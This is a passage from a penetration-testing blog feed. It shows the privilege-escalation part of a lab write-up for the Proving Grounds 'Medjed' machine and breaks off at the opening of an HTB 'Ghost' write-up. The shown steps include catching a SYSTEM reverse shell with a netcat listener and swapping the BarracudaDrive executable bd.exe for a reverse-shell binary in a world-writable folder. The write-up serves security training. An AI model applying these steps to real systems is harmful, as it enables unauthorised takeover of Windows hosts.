.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Back on Application Manager, I’ll select my uploaded ZIP and submit it.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/privesc_new_app.png" alt="" /></p>

<p>Now “revshell” is seen in the app list.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/privesc_app_list.png" alt="" /></p>

<p>It seemed to be set up properly. Most importantly BD identified it as a dynamic LSP app.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/privesc_revshell.png" alt="" /></p>

<p>I clicked on the link and the page hanged, but a SYSTEM shell was sent back.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.200.127] 49777
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\bd</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">nt authority\system</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">MEDJED</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Administrator\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type proof.txt</span>

<span class="win-output">ca6d772b************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="intended-path">Intended Path:</h2>

<p>Similar to the foothold exploit, the intended escalation path was not what I did. In fact, it’s the <a href="https://www.exploit-db.com/exploits/48789">public exploit</a> that I’ve also identified earlier.</p>

<p>The exploit essentially leverages overly permissive privileges granted during the default installation of BarracudaDrive. As a member of the Authenticated Users group, <code class="language-plaintext highlighter-rouge">jerren</code> has write access to <code class="language-plaintext highlighter-rouge">C:\bd\</code>, which allows replacing the BarracudaDrive executable with something malicious. When the system restarts, it’ll be executed by SYSTEM.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">MEDJED</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Jerren\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">icacls c:\bd\</span>

<span class="win-output">c:\bd\ BUILTIN\Administrators:(I)(OI)(CI)(F)
       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
       BUILTIN\Users:(I)(OI)(CI)(RX)
       NT AUTHORITY\Authenticated Users:(I)(M)
       NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>I initially thought it’s impossible, since <code class="language-plaintext highlighter-rouge">SeShutdownPrivilege</code> was disabled for the user.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">MEDJED</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Jerren\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami /priv</span>

<span class="win-output">PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Turns out I misunderstood what “Disabled” means. All the listed privileges have already been granted to the user, “disabled” just means the privilege is not active in the current session. Most privileges need to be explicitly enabled before they can be used, but some system utilities such as <code class="language-plaintext highlighter-rouge">shutdown</code> internally enable the necessary privileges before performing the action. As such the user would still be able to perform a system restart.</p>

<p>Back to the exploit, it’s actually much more simple than what I did. All that’s required is to replace <code class="language-plaintext highlighter-rouge">bd.exe</code> with a reverse shell binary.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">MEDJED</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\bd</span><span class="win-char">&gt;</span></span> <span class="win-cmd">move bd.exe bd_backup.exe</span>

<span class="win-output">1 file(s) moved.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\bd</span><span class="win-char">&gt;</span></span> <span class="win-cmd">copy c:\users\public\downloads\shell.exe bd.exe</span>

<span class="win-output">1 file(s) moved.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Then I’ll restart the box by running <code class="language-plaintext highlighter-rouge">shutdown /r</code> and wait. It took a while, but eventually a SYSTEM shell was sent back.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.221.127] 49668
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\WINDOWS\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">nt authority\system</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="Proving Grounds" /><category term="Windows" /><category term="Medium" /><summary type="html"><![CDATA[Recently I’ve been doing more Proving Grounds in preparation for my OSCP exam later this year. These boxes certainly have a different “flavour” than HTB ones, often containing many different applications and services running simultaneously. OffSec also loves chaining multiple applications together in an exploit chain. Finding a vulnerability in an app often does not lead to a foothold directly, but instead is used to attack or enumerate other services. Medjed is a good example of this, with the foothold exploit leveraging several seemingly unrelated web apps. While not too difficult, it’s very easy to get stuck without thorough enumeration.]]></summary></entry><entry><title type="html">HTB Machine - Ghost</title><link href="https://ch3ng625.github.io//ghost" rel="alternate" type="text/html" title="HTB Machine - Ghost" /><published>2025-05-25T00:00:00+00:00</published><updated>2025-05-25T00:00:00+00:00</updated><id>https://ch3ng625.github.io//ghost</id><content type="html" xml:base="https://ch3ng625.github.io//ghost"><![CDATA[<h2 id="summary">Summary:</h2>
<p>Ghost is the toughest box I’ve faced so far, it took me weeks to complete (and much longer to create this writeup). It involves exploiting and pivoting between several interconnected web apps, Linux containers and an AD forest environment. Many AD services and attacks are still new to me, so I often found myself getting stuck. This is especially true for ticket-based attacks, understanding the entire flow and interaction can be quite a head-scratcher.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

